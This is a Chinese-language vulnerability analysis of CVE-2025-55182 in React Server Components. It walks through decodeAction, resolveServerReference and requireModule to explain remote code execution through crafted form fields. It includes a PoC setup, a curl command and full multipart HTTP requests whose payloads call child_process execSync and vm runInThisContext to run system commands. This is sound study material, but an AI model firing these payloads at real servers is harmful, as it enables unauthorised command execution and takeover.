CVE-2025-55182 React 漏洞二次分析
该文章详细描述了CVE-2025-55182漏洞的利用方法及其技术细节。攻击者通过构造特定HTTP请求触发React Server Components中的decodeAction函数,并利用其解析机制执行任意系统命令。文章分析了关键函数如decodeBoundActionMetaData、loadServerReference等的工作原理,并展示了如何通过payload控制模块和方法实现远程代码执行。 2025-12-10 08:37:50 Author: www.freebuf.com(查看原文) 阅读量:1 收藏

git clone https://github.com/ejpir/CVE-2025-55182-poc
cd CVE-2025-55182-poc
npm ci # 按项目文件要求安装正确版本的Node.js
npm start
curl -X POST http://192.168.131.133:3002/formaction -F '$ACTION_REF_0=' -F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}' 

返回json:

{
  "success": true,
  "result": {
    "type": "Buffer",
    "data": [117,98,117,110,116,117,10]
  },
  "fnName": "bound bound execSync"
}

data 是对应字符的ASCII值, [117,98,117,110,116,117,10] -> "ubuntu\n"

POST /formaction HTTP/1.1
Host: 192.168.131.133:3002
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=------------------------boundary1234  

--------------------------boundary1234
Content-Disposition: form-data; name="$ACTION_REF_0"  

--------------------------boundary1234
Content-Disposition: form-data; name="$ACTION_0:0"  
{"id":"child_process#execSync","bound":["whoami"]}
--------------------------boundary1234--
POST /formaction HTTP/1.1
Host: 192.168.131.133:3002
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----Boundary
Content-Length: 297  

------Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"  

------Boundary
Content-Disposition: form-data; name="$ACTION_0:0"  
{"id":"vm#runInThisContext","bound":["global.process.mainModule.require(\"child_process\").execSync(\"whoami\").toString()"]}
------Boundary--

payload1

{"id":"child_process#execSync","bound":["whoami"]}使用 child_process 模块的 execSync 函数来执行系统命令。

例如执行下面这几行代码:

const child_process = require('child_process');
// 使用 execSync 执行命令,并返回结果
const result = child_process.execSync('whoami');
// 打印结果
console.log(result.toString());
  • child_processNode.js 的核心模块之一,用于执行外部命令。
  • result.toString()将执行结果从 Buffer(Node.js 中在内存中分配的二进制容器) 中转换为字符串形式。

payload2

{"id":"vm#runInThisContext","bound":["global.process.mainModule.require(\"child_process\").execSync(\"whoami\").toString()"]}使用 vm 模块 的 runInThisContext 函数来执行代码。

例如:

const vm = require('vm');  
// 要执行的代码
const code = `  
  const child_process = require('child_process');  
  child_process.execSync('whoami').toString();`;  
// 创建一个上下文对象,将 Node.js 的内置模块传递进去
const context = {  
  require,  
  console,  
  child_process: require('child_process'),
};  
// 使用 vm 模块在独立的 V8 上下文中运行代码,传入自定义的上下文
const result = vm.runInNewContext(code, context);  
// 打印执行结果
console.log(result);

vm模块的默认沙箱环境中,执行的代码是隔离的,不能直接访问 Node.js 的核心模块。为了允许在vm中执行代码时访问这些核心模块,会使用global.process.mainModule.require这种访问方法。这是 动态加载模块的一个机制,类似于Java的反射机制。

HTTP 请求(multipart 表单)  
        ↓
decodeAction  
    ├─ 找到 $ACTION_REF_n 相关字段  
    ├─ 调 decodeBoundActionMetaData 解析元数据  
        ↓
decodeBoundActionMetaData  
    ├─ 解析出 { id, bound }  
    ├─ ️ 这里 id 是攻击者完全可控的  
        ↓
loadServerReference  
    ├─ 调 resolveServerReference(id)  
        ↓
resolveServerReference  
    ├─ 允许 "合法ActionId#任意值"  
    ├─ ️ 将 "#" 后内容当成 moduleExports[name] 的 name  
        ↓
requireModule  
    ├─ moduleExports = __webpack_require__(moduleId)  
    ├─ ️ 返回 moduleExports[name](不做 hasOwnProperty 校验)  
        ↓
得到原型链上的 constructor / toString / valueOf 等危险对象  
        ↓
攻击者构造 gadget → RCE(比如 Function / vm / child_process)

Ctrl + B/左键 decodeAection(),跳转到当前文件的第71行:const { decodeAction } = moduleExports;这一行表示:这个文件并没有定义 decodeAction(),这里只是"从 moduleExports 里拿出来一份"。 真正的 decodeAction 是从下面这个文件动态加载的:

// Load React's decodeAction
const bundledPath = path.join(__dirname, '../node_modules/react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js');
console.log('Loading React:', bundledPath);

安装node.js后,所需要的 第三方框架的源码 下载到这个目录下。

漏洞点:

exports.decodeAction = function (body, serverManifest) {
  var formData = new FormData(),
    action = null;
  body.forEach(function (value, key) {
    key.startsWith("$ACTION_")
      ? key.startsWith("$ACTION_REF_")
        ? ((value = "$ACTION_" + key.slice(12) + ":"),
          (value = decodeBoundActionMetaData(body, serverManifest, value)),
          (action = loadServerReference(
            serverManifest,
            value.id,
            value.bound
          )))
        : key.startsWith("$ACTION_ID_") &&
          ((value = key.slice(11)),
          (action = loadServerReference(serverManifest, value, null)))
      : formData.append(key, value);
  });
  return null === action
    ? null
    : action.then(function (fn) {
        return fn.bind(null, formData);
      });
};

代码理解

exports.decodeAction = function (body, serverManifest) { ... }

相当于

def decodeAction(body, server_manifest):
public static Object decodeAction(Body body, ServerManifest serverManifest) { ... }

body是前端传入的表单

body.forEach(function (value, key) { ... });

相当于

for key, value in body.items():

遍历 body 中的键值对,key 为 键。

body.forEach(function (value, key) {
    key.startsWith("$ACTION_")
      ? key.startsWith("$ACTION_REF_")
        ? ((value = "$ACTION_" + key.slice(12) + ":"),
          (value = decodeBoundActionMetaData(body, serverManifest, value)),
          (action = loadServerReference(
            serverManifest,
            value.id,
            value.bound
          )))
        : key.startsWith("$ACTION_ID_") &&
          ((value = key.slice(11)),
          (action = loadServerReference(serverManifest, value, null)))
      : formData.append(key, value);
  });

遍历每个 key/value 并传入循环: 例:"$ACTION_REF_0" : "" 例:"$ACTION_0:0" : '{"id": "...", "bound": ...}'startsWith()判断字符串前缀slice(12)字符串中索引为12的字符

// 例如,key 为 "$ACTION_REF_0"
value    => "$ACTION_" + key.slice(12) + ":"  
    => "$ACTION_" + "0" + ":"  
    => "$ACTION_0:"

是拼接字符串的操作。 将 body, serverManifest, value 传入 decodeBoundActionMetaData(),得到返回的 id 和 bound

(  
  (value = "$ACTION_" + key.slice(12) + ":"), // value 是字符串  
  (value = decodeBoundActionMetaData(body, serverManifest, value)), // value 变为对象  
  (action = loadServerReference(
    serverManifest,
    value.id,
    value.bound
    )  
  )
)

接下来: 请求 → decodeAction → decodeBoundActionMetaData → loadServerReference

decodeBoundActionMetaData()

function decodeBoundActionMetaData(body, serverManifest, formFieldPrefix) {
  // 构造 React 的RSC 对象
  body = createResponse(serverManifest, formFieldPrefix, void 0, body);
  close(body);
  body = getChunk(body, 0); // 获取第0个 chunk (部分/字段/块)
  body.then(function () {});
  if ("fulfilled" !== body.status) throw body.reason;
  return body.value;
}

decodeBoundActionMetaData() 其实就是用来返回 body 的元数据对象的

loadServerReference()

function loadServerReference(bundlerConfig, id, bound) {
  var serverReference = resolveServerReference(bundlerConfig, id);
  bundlerConfig = preloadModule(serverReference);
  return bound
    ? Promise.all([bound, bundlerConfig]).then(function (_ref) {
      // Promise.all(...) 等待多个异步任务全部完成。Promise 代表一个异步任务
        _ref = _ref[0];
        var fn = requireModule(serverReference);
        return fn.bind.apply(fn, [null].concat(_ref));
        // fn.bind(...) 创建"预填参数"的新函数
      })
    : bundlerConfig
      ? Promise.resolve(bundlerConfig).then(function () {
        // Promise.resolve(...) 不论输入什么,保证返回一个 Promise,即使输入不是 Promise
          return requireModule(serverReference);
        })
      : Promise.resolve(requireModule(serverReference));
}

fn.bind例:

function add(a, b) {return a + b;}  
const add5 = add.bind(null, 5);
console.log(add5(10));  // 输出 15

跟进 resolveServerReference()

function resolveServerReference(bundlerConfig, id) {
  var name = "",
    resolvedModuleData = bundlerConfig[id];
  if (resolvedModuleData) name = resolvedModuleData.name;
  // 如果 resolvedModuleData 存在(不是 null/undefined/false/0/""),就把它的 name 取出来赋值给变量 name
  else {
    var idx = id.lastIndexOf("#");
    -1 !== idx &&
      ((name = id.slice(idx + 1)),
      (resolvedModuleData = bundlerConfig[id.slice(0, idx)]));
    if (!resolvedModuleData)
      throw Error(
        'Could not find the module "' +
          id +
          '" in the React Server Manifest. This is probably a bug in the React Server Components bundler.'
      );
  }
  return resolvedModuleData.async
    ? [resolvedModuleData.id, resolvedModuleData.chunks, name, 1]
    : [resolvedModuleData.id, resolvedModuleData.chunks, name];
}

是将id拆分,这个函数是整个漏洞链中最关键的"入口"。 把 id(例如"abc123def456#constructor")拆成

  • 模块 ID"abc123def456"
  • 导出名"constructor"

此时若传入{"id":"child_process#execSync","bound":["whoami"]}

var idx = id.lastIndexOf("#");   // idx 指向 '#' 的位置
if (idx !== -1) {
  name = id.slice(idx + 1);  // name = execSync
  resolvedModuleData = bundlerConfig[id.slice(0, idx)];  // resolvedModuleData = bundlerConfig["child_process"]
}

最后得到

resolvedModuleData === { id: "child_process", name: "execSync", chunks: [] };

return 的结果为

["child_process", [], "execSync"]

然后将结果 metadata 传入requireModule()

function requireModule(metadata) {
  var moduleExports = __webpack_require__(metadata[0]);
  if (4 === metadata.length && "function" === typeof moduleExports.then)
    if ("fulfilled" === moduleExports.status)
      moduleExports = moduleExports.value;
    else throw moduleExports.reason;
  return "*" === metadata[2]
    ? moduleExports
    : "" === metadata[2]
      ? moduleExports.__esModule
        ? moduleExports.default
        : moduleExports
      : moduleExports[metadata[2]];
}

传入参数:

var moduleExports = __webpack_require__("child_process");  // metadata[0]
// 相当于 const moduleExports = require("child_process")
return moduleExports["execSync"]; // metadata[2]

最终得到:

const fn = require("child_process").execSync;

三目运算符改成好理解一些的样子:

return "*" === metadata[2] 
  ? moduleExports 
  : "" === metadata[2]   
    ? moduleExports.__esModule     
      ? moduleExports.default     
      : moduleExports   
    : moduleExports[metadata[2]];
if (metadata[2] === "*") {
  // 情况 1:导出整个模块对象
  return moduleExports;
} else if (metadata[2] === "") {
  // 情况 2:导出"默认导出"(或整个模块)
  if (moduleExports.__esModule) {
    return moduleExports.default;
  } else {
    return moduleExports;
  }
} else {
  // 情况 3:导出指定名字的属性
  return moduleExports[metadata[2]];
}

文章来源: https://www.freebuf.com/articles/web/461637.html
如有侵权请联系:admin#unsafe.sh